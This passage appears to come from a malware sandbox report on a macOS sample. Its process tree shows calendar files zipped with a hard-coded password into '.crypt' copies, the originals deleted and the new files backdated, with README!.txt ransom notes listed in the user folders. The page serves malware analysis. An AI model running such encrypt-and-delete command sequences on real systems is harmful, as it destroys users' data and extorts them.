  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm.crypt /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm
  2⤵
  PID:1201
- /usr/bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm
  2⤵
  PID:1202
- /bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm
  2⤵
  PID:1202
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm.crypt
  2⤵
  PID:1203
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm.crypt /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm
  2⤵
  PID:1204
- /usr/bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm
  2⤵
  PID:1205
- /bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm
  2⤵
  PID:1205
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm.crypt
  2⤵
  PID:1206
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/Events.crypt /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/Events
  2⤵
  PID:1207
- /usr/bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/Events
  2⤵
  PID:1208
- /bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/Events
  2⤵
  PID:1208
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/Info.plist.crypt /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/Info.plist
  2⤵
  PID:1209
- /usr/bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/Info.plist
  2⤵
  PID:1210
- /bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/Info.plist
  2⤵
  PID:1210
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/Info.plist.crypt
  2⤵
  PID:1211
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar.crypt /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar
  2⤵
  PID:1212
- /usr/bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar
  2⤵
  PID:1213
- /bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar
  2⤵
  PID:1213
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms.crypt /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms
  2⤵
  PID:1214
- /usr/bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms
  2⤵
  PID:1215
- /bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms
  2⤵
  PID:1215
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm.crypt /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm
  2⤵
  PID:1216
- /usr/bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm
  2⤵
  PID:1217
- /bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm
  2⤵
  PID:1217
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm.crypt
  2⤵
  PID:1218
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm.crypt /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm
  2⤵
  PID:1219
- /usr/bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm
  2⤵
  PID:1220
- /bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm
  2⤵
  PID:1220
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm.crypt
  2⤵
  PID:1221
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/Events.crypt /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/Events
  2⤵
  PID:1222
- /usr/bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/Events
  2⤵
  PID:1223
- /bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/Events
  2⤵
  PID:1223
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/Info.plist.crypt /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/Info.plist
  2⤵
  PID:1224
- /usr/bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/Info.plist
  2⤵
  PID:1225
- /bin/rm
  rm /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/Info.plist
  2⤵
  PID:1225
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Calendars/2EE84F2E-F068-4144-938C-4A4849D8BD4C.calendar/Info.plist.crypt
  2⤵
  PID:1226
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Calendars/Calendar Cache.crypt" "/Users//run/Library/Calendars/Calendar Cache"
  2⤵
  PID:1227
- /usr/bin/rm
  rm "/Users//run/Library/Calendars/Calendar Cache"
  2⤵
  PID:1228
- /bin/rm
  rm "/Users//run/Library/Calendars/Calendar Cache"
  2⤵
  PID:1228
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Calendars/Calendar Cache.crypt"
  2⤵
  PID:1229

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

/Users/run/Documents/README!.txt

MD5
c7432c5aa5ecd16c5e176a54b8a4a2fa

SHA1
32757607b758ab0f5e86412df048182c2ee6f377

SHA256
ccc5010a9b4504bbad63c6787750e6461614aa3a17fb379590780f335b7d99c8

SHA512
b12fb9dd40de08d16f3d493514d7014464f21cd86a8221fad47c983a073a656a65cf03994d6635776db741724d5d3ee0008dcb821228489da638f77cc137c551

Download Submit
/Users/run/Downloads/README!.txt

MD5
c7432c5aa5ecd16c5e176a54b8a4a2fa

SHA1
32757607b758ab0f5e86412df048182c2ee6f377

SHA256
ccc5010a9b4504bbad63c6787750e6461614aa3a17fb379590780f335b7d99c8

SHA512
b12fb9dd40de08d16f3d493514d7014464f21cd86a8221fad47c983a073a656a65cf03994d6635776db741724d5d3ee0008dcb821228489da638f77cc137c551

Download Submit
/Users/run/Movies/README!.txt

MD5
c7432c5aa5ecd16c5e176a54b8a4a2fa

SHA1
32757607b758ab0f5e86412df048182c2ee6f377

SHA256
ccc5010a9b4504bbad63c6787750e6461614aa3a17fb379590780f335b7d99c8

SHA512
b12fb9dd40de08d16f3d493514d7014464f21cd86a8221fad47c983a073a656a65cf03994d6635776db741724d5d3ee0008dcb821228489da638f77cc137c551

Download Submit
/Users/run/Music/README!.txt

MD5
c7432c5aa5ecd16c5e176a54b8a4a2fa

SHA1
32757607b758ab0f5e86412df048182c2ee6f377

SHA256
ccc5010a9b4504bbad63c6787750e6461614aa3a17fb379590780f335b7d99c8

SHA512
b12fb9dd40de08d16f3d493514d7014464f21cd86a8221fad47c983a073a656a65cf03994d6635776db741724d5d3ee0008dcb821228489da638f77cc137c551

Download Submit
/Users/run/Pictures/README!.txt

MD5
c7432c5aa5ecd16c5e176a54b8a4a2fa

SHA1
32757607b758ab0f5e86412df048182c2ee6f377

SHA256
ccc5010a9b4504bbad63c6787750e6461614aa3a17fb379590780f335b7d99c8

SHA512
b12fb9dd40de08d16f3d493514d7014464f21cd86a8221fad47c983a073a656a65cf03994d6635776db741724d5d3ee0008dcb821228489da638f77cc137c551

Download Submit
/Users/run/Public/README!.txt

MD5
c7432c5aa5ecd16c5e176a54b8a4a2fa

SHA1
32757607b758ab0f5e86412df048182c2ee6f377

SHA256
ccc5010a9b4504bbad63c6787750e6461614aa3a17fb379590780f335b7d99c8

SHA512
b12fb9dd40de08d16f3d493514d7014464f21cd86a8221fad47c983a073a656a65cf03994d6635776db741724d5d3ee0008dcb821228489da638f77cc137c551

Download Submit
/Users/run/README!.txt

MD5
c7432c5aa5ecd16c5e176a54b8a4a2fa

SHA1
32757607b758ab0f5e86412df048182c2ee6f377

SHA256
ccc5010a9b4504bbad63c6787750e6461614aa3a17fb379590780f335b7d99c8

SHA512
b12fb9dd40de08d16f3d493514d7014464f21cd86a8221fad47c983a073a656a65cf03994d6635776db741724d5d3ee0008dcb821228489da638f77cc137c551

Download Submit

Resubmissions

Analysis

Sharing

General